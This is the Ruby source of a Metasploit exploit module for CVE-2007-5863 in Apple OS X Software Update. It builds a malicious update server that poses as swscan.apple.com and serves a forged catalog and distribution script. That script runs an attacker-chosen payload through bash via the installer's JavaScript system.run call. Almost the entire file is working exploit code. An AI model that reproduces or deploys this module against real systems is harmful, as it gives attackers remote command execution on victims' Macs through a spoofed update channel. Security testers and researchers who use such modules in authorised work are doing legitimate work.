Apple OS X Software Update Command Execution



##

# $Id: software_update.rb 10394 2010-09-20 08:06:27Z jduck $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
    Rank = ExcellentRanking

    include Msf::Exploit::Remote::HttpServer::HTML

    def initialize(info = {})
        super(update_info(info,
            'Name'           => 'Apple OS X Software Update Command Execution',
            'Description'    => %q{
                    This module exploits a feature in the Distribution Packages,
                which are used in the Apple Software Update mechanism. This feature
                allows for arbitrary command execution through JavaScript. This exploit
                provides the malicious update server. Requests must be redirected to
                this server by other means for this exploit to work.
            },
            'Author'         => [ 'Moritz Jodeit <moritz@jodeit.org>' ],
            'License'        => MSF_LICENSE,
            'Version'        => '$Revision: 10394 $',
            'References'     =>
                [
                    ['CVE', '2007-5863'],
                    ['OSVDB', '40722'],
                ],
            'Payload'        =>
                {
                    'BadChars' => "\x00",
                    'DisableNops' => true,
                    'Compat'      =>
                        {
                            'PayloadType' => 'cmd',
                            'RequiredCmd' => 'generic perl ruby bash telnet',
                        }
                },
            'Platform'    => 'osx',
            'Targets'    =>
                [
                    [
                        'Automatic',
                        {
                            'Platform' => [ 'unix' ],
                            'Arch'     => ARCH_CMD,
                        },
                    ],
                ],
            'DisclosureDate' => 'Dec 17 2007',
            'DefaultTarget'  => 0))

        register_options(
            [
                OptPort.new('SRVPORT', [ true, "The local port to listen on.", 80 ]),
                OptString.new('URIPATH', [ true, "The URI to use for this exploit.", "/" ])
            ], self.class)
    end

    # Encode some characters using character entity references and escape any
    # quotation characters, by splitting the string into multiple parts.
    def encode_payload(payload)
        encoded = payload.gsub(/[&<>"']/) do |s|
            case s
            when '&'
                "&amp;"
            when '<'
                "&lt;"
            when '>'
                "&gt;"
            when '"'
                '"+\'"\'+"'
            when '\''
                "&apos;"
            end
        end
        return '"' + encoded + '"'
    end

    # Generate the initial catalog file with references to the
    # distribution script, which does the actual exploitation.
    def generate_catalog(server)
        languages = [ "", "Dutsch", "English", "French", "German", "Italian", "Japanese",
            "Spanish", "da", "fi", "ko", "no", "pt", "sv", "zh_CN", "zh_TW" ]
        productkey = rand_text_numeric(3) + "-" + rand_text_numeric(4)
        distfile = rand_text_alpha(8) + ".dist"

        sucatalog = '<?xml version="1.0" encoding="UTF-8"?>'
        sucatalog << '<!DOCTYPE plist PUBLIC "-//Apple Computer//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">'
        sucatalog << '<plist version="1.0">'
        sucatalog << '<dict>'
        sucatalog << '<key>Products</key><dict>'
        sucatalog << "<key>#{productkey}</key><dict>"
        sucatalog << '<key>Distributions</key><dict>'

        languages.each do |l|
            sucatalog << "<key>#{l}</key><string>http://#{server}/#{distfile}</string>\n"
        end

        sucatalog << '</dict></dict></dict></dict></plist>'

        return sucatalog
    end

    # Generate distribution script, which calls our payload using JavaScript.
    def generate_dist(payload)
        func = rand_text_alpha(8)

        dist = '<?xml version="1.0" encoding="UTF-8"?>'
        dist << "<installer-gui-script minSpecVersion='1'>"
        dist << '<options allow-external-scripts = "yes"/>'
        dist << "<choices-outline ui='SoftwareUpdate'>"
        dist << "<line choice='su'/>"
        dist << "</choices-outline>"
        dist << "<choice id='su' visible ='#{func}()'/>"
        dist << "<script>"
        dist << "function #{func}() { system.run('/bin/bash', '-c', #{encode_payload(payload)}); }"
        dist << "</script>"
        dist << "</installer-gui-script>"

        return dist
    end

    def on_request_uri(cli, request)
        date = Time.now
        server = "swscan.apple.com"

        header = {
            'Content-Type' => 'text/plain',
            'Last-Modified' => date,
            'Date' => date,
        }

        if request.uri =~ /\.sucatalog$/
            print_status("Sending initial distribution package to #{cli.peerhost}:#{cli.peerport}")
            body = generate_catalog(server)
        elsif request.uri =~ /\.dist$/
            print_status("Sending distribution script to #{cli.peerhost}:#{cli.peerport}")
            return if ((p = regenerate_payload(cli)) == nil)
            body = generate_dist(p.encoded)
        else
            return
        end
        send_response(cli, body, header)
        handler(cli)
    end

end